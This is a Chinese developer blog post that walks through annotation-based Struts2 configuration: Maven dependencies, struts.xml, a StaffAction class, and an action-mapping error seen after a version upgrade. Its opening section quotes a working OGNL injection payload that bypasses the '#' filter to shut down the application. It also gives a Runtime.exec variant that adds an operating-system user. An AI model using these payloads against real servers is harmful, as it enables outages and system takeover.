4.JSP+JavaBean+Struts2(anno)

好久好久没用过struts2，都说struts2被抛弃了，原因就在于这个框架本身有好多漏洞。
当时设计这个的时候还是非常先进的，只不过后来一直不停的修修补补，而且为了适应整合spring，加了好多action管理的jar包，这就导致了struts2产生漏洞了。

下面是引用的漏洞原因：

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。　　当我们提交一个http参数:?user.address.city=Bishkek&user['favoriteDrink']=kumys
　　ONGL将它转换为:
　　　　action.getUser().getAddress().setCity("Bishkek")
　　　　action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
　　
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。

现在做struts2的配置基本都是以注解的方式，简明扼要，好几年没用过，突然再用好不习惯，意料之中发现问题了，竟然找不到action。

今天做这个例子的时候碰到一个超级bug，折腾了俩小时
以前的strut2版本是2.3.1.2，想升级一下这个版本，改为2.3.34，结果替换完就启动报错了，一直报错

Paste_Image.png

There is no Action mapped for namespace [/] and action name [staff!list] associated with context path [].

估计学struts的人没有不碰到这个错误的。提示很明显，找不到这个action，但是什么原因呢，提示不清楚，就一直猜。
最后没办法，又替换原来的struts的版本，竟然好了。
不知道这两年struts2升级哪些功能了，以前的程序竟然不能用了。

还有一个大的bug是struts2里面的所有action都必须在上级包名为action、struts等下面，不能为其他的，虽然官方有提示，谁也不能看这个啊

过程如下：

pom.xml添加依赖，包括struts2-core、javassist

<dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
            <version>2.3.1.2</version>
        </dependency>
        <dependency>
            <groupId>javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.12.1.GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-convention-plugin</artifactId>
            <version>2.3.1.2</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.18</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <version>2.5</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/log4j/log4j -->
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>

struts.xml，很简洁了

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.1//EN"
    "http://struts.apache.org/dtds/struts-2.1.dtd">
<struts>
    <constant name="struts.devMode" value="true" />
    <constant name="struts.convention.result.path" value="/" />
    <constant name="struts.convention.package.locators" value="action" /><!-- 
        很重要，必须把action放到该包下面 -->
</struts>

StaffAction
这里面几个核心注解：
@ParentPackage指继承struts的默认包
@Namespace指请求路径
@Action指当前类的名称
@Results指方法名和返回值jsp，type有redirect是跳转，url会变
页面的请求方法为http://localhost:8080/staff!list.action
利用!分隔开action的名称和方法名，非常独特

@ParentPackage("struts-default")
@Namespace("/")
@Action("staff")
@Results({ @Result(name = "list", location = "/list.jsp"), @Result(name = "toAdd", location = "/add.jsp"),
        @Result(name = "home", location = "staff!list.action", type = "redirect") })
public class StaffAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private List<Staff> staffList;
    private Staff staff;

    public String list() {
        StaffDao staffDao = new StaffDao();
        staffList = staffDao.list();
        return "list";
    }

    public String toAdd() {
        return "toAdd";
    }

    public String add() {
        StaffDao staffDao = new StaffDao();
        staffDao.add(staff.getName());
        return "home";
    }

    public void setStaffList(List<Staff> staffList) {
        this.staffList = staffList;
    }

    public List<Staff> getStaffList() {
        return staffList;
    }

    public Staff getStaff() {
        return staff;
    }

    public void setStaff(Staff staff) {
        this.staff = staff;
    }
}

源码下载

本工程详细源码